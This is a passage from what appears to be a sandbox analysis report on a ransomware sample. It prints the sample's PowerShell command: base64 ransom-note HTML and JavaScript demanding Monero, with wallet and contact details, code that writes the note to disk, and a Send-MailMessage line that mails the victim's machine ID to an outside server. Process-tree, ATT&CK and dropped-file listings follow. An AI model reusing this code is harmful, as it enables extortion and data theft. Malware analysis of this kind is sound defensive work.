9yIG1vcmUgaW5mb3JtYXRpb24sIGNsaWNrIDxhIGhyZWY9J2h0dHBzOi8vd3d3LmtyYWtlbi5jb20vbGVhcm4vYnV5LW1vbmVyby14bXInPkhvdyB0byBidXkgTW9uZXJvPC9hPi4gT25jZSB0aGUgcGF5bWVudCBpcyBjaGVja2VkLCB3ZSBndWFyYW50ZWUgdGhhdCB5b3Ugd2lsbCBpbW1lZGlhdGVseSByZWNlaXZlIHRoZSBrZXkgYW5kIGNhbiBkZWNyeXB0IHlvdXIgZmlsZXMuPC9wPjxkaXYgY2xhc3M9J21vbmVyby1hZGRyZXNzJz48ZGl2IGNsYXNzPSdhZGRyZXNzLWxhYmVsJz5TZW5kICQ1MDAgd29ydGggb2YgTW9uZXJvIHRvIHRoaXMgYWRkcmVzczo8L2Rpdj48ZGl2IGNsYXNzPSdhZGRyZXNzLWJveCc+PGlucHV0IGNsYXNzPSdhZGRyZXNzLWlucHV0JyByZWFkb25seT0nJyB0eXBlPSd0ZXh0JyB2YWx1ZT0nOEJFTXBDdVNMNWFCRjVyRzFhOVVORmdCY1BVMTZlTlVYYlhEQnpRSnFEM0U0amRKYVVoQXczTENWSDNGNGdQVXlzaW9ZcmpzUE1hMzQ0N29Mb1N1QWhVckg3RVF0Q0MnLz48YnV0dG9uIGNsYXNzPSdjb3B5LWJ0bic+Q29weTwvYnV0dG9uPjwvZGl2PjwvZGl2PjxwPkFmdGVyIHlvdXIgcGF5bWVudCwgeW91IGNhbiBmaW5kICdUcmFuc2FjdGlvbiBJRCcgYW5kICdUcmFuc2FjdGlvbiBLZXknIG9uIHRoZSB0cmFuc2ZlcnMgcGFnZS4gVGhlc2UgSURzIGFyZSBnZW5lcmF0ZWQgdG8gcHJvdmUgdGhlIHZhbGlkaXR5IG9mIHRoZSB0cmFuc2FjdGlvbi4gUGxlYXNlIGZpbGwgaW4gdGhlIGJveGVzIGJlbG93IGFuZCBjbGljayB0aGUgW0dlbmVyYXRlIE1hY2hpbmUgSURdIGJ1dHRvbi48L3A+PGRpdiBjbGFzcz0nbW9uZXJvLWFkZHJlc3MnPjxkaXYgY2xhc3M9J2FkZHJlc3MtbGFiZWwnPlRyYW5zYWN0aW9uIElEOjwvZGl2PjxkaXYgY2xhc3M9J2FkZHJlc3MtYm94Jz48aW5wdXQgY2xhc3M9J2FkZHJlc3MtaW5wdXQnIGlkPSdUeG5JRCcgdHlwZT0ndGV4dCcvPjwvZGl2PjxkaXYgY2xhc3M9J2FkZHJlc3MtbGFiZWwnPlRyYW5zYWN0aW9uIEtleTo8L2Rpdj48ZGl2IGNsYXNzPSdhZGRyZXNzLWJveCc+PGlucHV0IGNsYXNzPSdhZGRyZXNzLWlucHV0JyBpZD0nVHhuS2V5JyB0eXBlPSd0ZXh0Jy8+PC9kaXY+PGJ1dHRvbiBjbGFzcz0nZ2VuZXJhdGUtYnRuJyBvbmNsaWNrPSdzYXZlTWFjaGluZUlEKCknPkdlbmVyYXRlIE1hY2hpbmUgSUQ8L2J1dHRvbj48L2Rpdj48cD48c3Ryb25nPlRoaXMgd2lsbCBnZW5lcmF0ZSBhIE1hY2hpbmUgSUQgZmlsZSB0aGF0IG5lZWRzIHRvIGJlIHNlbnQgYWxvbmcgdG8gdXMgaW4gb3JkZXIgdG8gZGVjcnlwdCBmaWxlcy48L3N0cm9uZz48L3A+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0nc2VjdGlvbic+PGRpdiBjbGFzcz0nc2VjdGlvbi10aXRsZSc+NS4gSG93IHdpbGwgdGhlIGRlY3J5cHRpb24gcHJvY2VzcyBwcm9jZWVkIGFmdGVyIHBheW1lbnQ/PC9kaXY+PGRpdiBjbGFzcz0nc2VjdGlvbi1jb250ZW50Jz48cD5BZnRlciBwYXltZW50IHdlIHdpbGwgc2VuZCB0byB5b3Ugb3VyIHNjYW5uZXItZGVjb2RlciBwcm9ncmFtIGFuZCBkZXRhaWxlZCBpbnN0cnVjdGlvbnMgZm9yIHVzZS4gV2l0aCB0aGlzIHByb2dyYW0geW91IHdpbGwgYmUgYWJsZSB0byBkZWNyeXB0IGFsbCB5b3VyIGVuY3J5cHRlZCBmaWxlcy48L3A+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0nc2VjdGlvbic+PGRpdiBjbGFzcz0nc2VjdGlvbi10aXRsZSc+Ni4gSG93IHRvIGNvbnRhY3Qgd2l0aCB5b3U/PC9kaXY+PGRpdiBjbGFzcz0nc2VjdGlvbi1jb250ZW50Jz48cD5Zb3UgY2FuIGNvbnRhY3QgdXMgdmlhIG1haWxib3ggb3IgVE9YLiBJZiB5b3UgZG9uJ3Qga25vdyBhYm91dCBUT1gsIGdvIHRvIDxhIGhyZWY9J2h0dHBzOi8vdG94LmNoYXQnPmh0dHBzOi8vdG94LmNoYXQuPC9hPjwvcD48cD48c3Ryb25nPkZpbmFsbHksIHRydXN0IHRoYXQgd2UgYXJlIGEgcmVwdXRhYmxlIGdyb3VwLiBXZSBwcm9taXNlIHRoYXQgeW91IGNhbiByZWNvdmVyIGFsbCB5b3VyIGZpbGVzIGFmdGVyIHRoZSBwYXltZW50Ljwvc3Ryb25nPjwvcD48L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSdjb250YWN0LWFkZHJlc3MnPjxkaXYgY2xhc3M9J2NvbnRhY3QtbGFiZWwnPkVtYWlsIEFkZHJlc3M6PC9kaXY+PGRpdiBjbGFzcz0nYWRkcmVzcy1ib3gnPjxpbnB1dCBjbGFzcz0nYWRkcmVzcy1pbnB1dCcgcmVhZG9ubHk9JycgdHlwZT0ndGV4dCcgdmFsdWU9J2tpdDgyODBAcHVua3Byb29mLmNvbScvPjxidXR0b24gY2xhc3M9J2NvcHktYnRuJz5Db3B5PC9idXR0b24+PC9kaXY+PGRpdiBjbGFzcz0nY29udGFjdC1sYWJlbCc+VG94IElEOjwvZGl2PjxkaXYgY2xhc3M9J2FkZHJlc3MtYm94Jz48aW5wdXQgY2xhc3M9J2FkZHJlc3MtaW5wdXQnIHJlYWRvbmx5PScnIHR5cGU9J3RleHQnIHZhbHVlPSdENkRBQkREOTYwMEM5QzU0ODFFRDQxMjcwNzE1MDlEMjg3REQ1MzlGQjM2RjBCQzgyRDRGQTBGMDgwMEFGOTcwOTIzQjU1MDAwNjREJy8+PGJ1dHRvbiBjbGFzcz0nY29weS1idG4nPkNvcHk8L2J1dHRvbj48L2Rpdj48L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSdmb290ZXInPsKpIDIwMjUgRmlsZSBEZWNyeXB0b3IgU2VydmljZS4gQWxsIHJpZ2h0cyByZXNlcnZlZC4gRGVjcnlwdGlvbiBrZXlzIGFyZSBzZWN1cmVseSBzdG9yZWQgb24gb3VyIHNlcnZlcnMuICAgICAgICA8L2Rpdj4=\";$j=\"ZnVuY3Rpb24gc3RhcnRDb3VudGRvd24oKXtjb25zdCBwYXltZW50VGltZXIgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncGF5bWVudFRpbWVyJyk7Y29uc3QgZmlsZVRpbWVyID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZpbGVUaW1lcicpO2NvbnN0IHBheW1lbnREdWUgPSBuZXcgRGF0ZShlRGF0YSk7cGF5bWVudER1ZS5zZXREYXRlKHBheW1lbnREdWUuZ2V0RGF0ZSgpKyAyKTtjb25zdCBmaWxlTG9zdCA9IG5ldyBEYXRlKGVEYXRhKTtmaWxlTG9zdC5zZXREYXRlKGZpbGVMb3N0LmdldERhdGUoKSsgNSk7ZnVuY3Rpb24gdXBkYXRlVGltZXJzKCl7Y29uc3Qgbm93ID0gbmV3IERhdGUoKTtsZXQgcGF5bWVudERpZmYgPSBwYXltZW50RHVlIC0gbm93O2lmIChwYXltZW50RGlmZiA8PSAwKXtwYXltZW50VGltZXIudGV4dENvbnRlbnQgPSAnMDA6MDA6MDAnO31lbHNlIHtjb25zdCBwYXltZW50SG91cnMgPSBNYXRoLmZsb29yKHBheW1lbnREaWZmIC8gKDEwMDAgKiA2MCAqIDYwKSk7cGF5bWVudERpZmYgJT0gKDEwMDAgKiA2MCAqIDYwKTtjb25zdCBwYXltZW50TWludXRlcyA9IE1hdGguZmxvb3IocGF5bWVudERpZmYgLyAoMTAwMCAqIDYwKSk7cGF5bWVudERpZmYgJT0gKDEwMDAgKiA2MCk7Y29uc3QgcGF5bWVudFNlY29uZHMgPSBNYXRoLmZsb29yKHBheW1lbnREaWZmIC8gMTAwMCk7cGF5bWVudFRpbWVyLnRleHRDb250ZW50ID0gcGF5bWVudEhvdXJzLnRvU3RyaW5nKCkucGFkU3RhcnQoMiwnMCcpKyc6JytwYXltZW50TWludXRlcy50b1N0cmluZygpLnBhZFN0YXJ0KDIsJzAnKSsnOicrcGF5bWVudFNlY29uZHMudG9TdHJpbmcoKS5wYWRTdGFydCgyLCcwJyk7fWxldCBmaWxlRGlmZiA9IGZpbGVMb3N0IC0gbm93O2lmIChmaWxlRGlmZiA8PSAwKXtmaWxlVGltZXIudGV4dENvbnRlbnQgPSAnMDA6MDA6MDAnO31lbHNlIHtjb25zdCBmaWxlSG91cnMgPSBNYXRoLmZsb29yKGZpbGVEaWZmIC8gKDEwMDAgKiA2MCAqIDYwKSk7ZmlsZURpZmYgJT0gKDEwMDAgKiA2MCAqIDYwKTtjb25zdCBmaWxlTWludXRlcyA9IE1hdGguZmxvb3IoZmlsZURpZmYgLyAoMTAwMCAqIDYwKSk7ZmlsZURpZmYgJT0gKDEwMDAgKiA2MCk7Y29uc3QgZmlsZVNlY29uZHMgPSBNYXRoLmZsb29yKGZpbGVEaWZmIC8gMTAwMCk7ZmlsZVRpbWVyLnRleHRDb250ZW50ID0gZmlsZUhvdXJzLnRvU3RyaW5nKCkucGFkU3RhcnQoMiwnMCcpKyc6JytmaWxlTWludXRlcy50b1N0cmluZygpLnBhZFN0YXJ0KDIsJzAnKSsnOicrZmlsZVNlY29uZHMudG9TdHJpbmcoKS5wYWRTdGFydCgyLCcwJyk7fX11cGRhdGVUaW1lcnMoKTtzZXRJbnRlcnZhbCh1cGRhdGVUaW1lcnMsIDEwMDApO31mdW5jdGlvbiBzYXZlTWFjaGluZUlEKCl7Y29uc3QgVHhuSUQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnVHhuSUQnKS52YWx1ZS50cmltKCk7Y29uc3QgVHhuS2V5ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1R4bktleScpLnZhbHVlLnRyaW0oKTtjb25zdCBNSUQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZGF0YScpLmRhdGFzZXQucGF5bG9hZDtpZiAoVHhuSUQubGVuZ3RoIT09NjQpe2FsZXJ0KCdJbnZhbGlkIFRyYW5zYWN0aW9uIElEJyk7cmV0dXJuO31pZiAoVHhuS2V5Lmxlbmd0aCE9PTY0KXthbGVydCgnSW52YWxpZCBUcmFuc2FjdGlvbiBLZXknKTtyZXR1cm47fWNvbnN0IGNvbWIgPSBUeG5JRCtUeG5LZXkrTUlEO2NvbnN0IGJsb2IgPSBuZXcgQmxvYihbY29tYl0sIHt0eXBlOid0ZXh0L3BsYWluO2NoYXJzZXQ9dXRmLTgnfSk7Y29uc3QgZmlsZU5hbWUgPSAnWW91cl9NYWNoaW5lX0lELnR4dCc7Y29uc3QgdXJsID0gVVJMLmNyZWF0ZU9iamVjdFVSTChibG9iKTtjb25zdCBhID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnYScpO2EuaHJlZiA9IHVybDthLmRvd25sb2FkID0gZmlsZU5hbWU7YS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7YS5jbGljaygpO31kb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcuY29weS1idG4nKS5mb3JFYWNoKGJ1dHRvbiA9PntidXR0b24uYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCBhc3luYyBmdW5jdGlvbigpe2NvbnN0IGlucHV0ID0gdGhpcy5wYXJlbnROb2RlLnF1ZXJ5U2VsZWN0b3IoJy5hZGRyZXNzLWlucHV0Jyk7dHJ5IHthd2FpdCBuYXZpZ2F0b3IuY2xpcGJvYXJkLndyaXRlVGV4dChpbnB1dC52YWx1ZSk7Y29uc3Qgb3JpZ2luYWxUZXh0ID0gdGhpcy50ZXh0Q29udGVudDt0aGlzLnRleHRDb250ZW50ID0gJ0NvcGllZCEnO3NldFRpbWVvdXQoKCk9Pnt0aGlzLnRleHRDb250ZW50ID0gb3JpZ2luYWxUZXh0O30sIDIwMDApO31jYXRjaCAoZXJyKXtjb25zb2xlLmVycm9yKCdDb3B5IGZhaWw6JywgZXJyKTt9fSk7fSk7d2luZG93Lm9ubG9hZCA9IHN0YXJ0Q291bnRkb3duOzwvc2NyaXB0PjwvYm9keT48L2h0bWw+\";$b=[System.Convert]::FromBase64String($i);$c=[System.Convert]::FromBase64String($j);$t=[System.Text.Encoding]::UTF8.GetString($b);$u=[System.Text.Encoding]::UTF8.GetString($c);$w=\"<div data-payload='\"+[System.Convert]::ToBase64String($VhBppDOc99)+\"' id='data'></div></div><script>const eData = new Date(\"+[System.BitConverter]::ToInt64($CYwQwYHI99,0).ToString()+\"*1000);\";$v=$t+$w+$u;Set-Content -Path $h -Value $v -Encoding UTF8 -Force;}}seNd-mAiLMeSsAGe -sMtPseRver \"in.mail.tm\" -pORt 25 -From \"[email protected]\" -To \"[email protected]\" -suBjEct \"MachineID\" -boDy $w"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3400
      • C:\Windows\system32\NOTEPAD.EXE
        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\Project_Workshop_7th_Minutes.txt
        3⤵
        • Opens file in notepad (likely ransom note)
        PID:2132

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_d3ofqueg.vxi.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d3ofqueg.vxi.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        Project_Workshop_7th_Minutes.txt

        • Path C:\Users\Admin\Downloads\Project_Workshop_7th_Minutes.txt
        • Size 1KB
        • SHA256 f23cfe7ceb98be8521a7841c37858ebf5e4b3d6300cd692c9b63dd3dbf6dfad4
        • MD5 SHA1 SHA512

        DECRYPT_INSTRUCTION.html

        • Path C:\Users\Admin\Videos\DECRYPT_INSTRUCTION.html
        • Size 10KB
        • SHA256 769faf10b05c7719c2ede9c896993df47d607b7e5c35152dde67f161a9f3f415
        • MD5 SHA1 SHA512 SSDEEP

        memory/3400-2-0x00000205ED0B0000-0x00000205ED0C0000-memory.dmp

        memory/3400-3-0x00000205ED0B0000-0x00000205ED0C0000-memory.dmp

        memory/3400-12-0x00000205ECF60000-0x00000205ECF82000-memory.dmp

        memory/3400-13-0x00000205ED0B0000-0x00000205ED0C0000-memory.dmp

        memory/3400-146-0x00000205ED0B0000-0x00000205ED0C0000-memory.dmp

        memory/3400-179-0x00000205ED0B0000-0x00000205ED0C0000-memory.dmp

        memory/3400-211-0x00000205ED0B0000-0x00000205ED0C0000-memory.dmp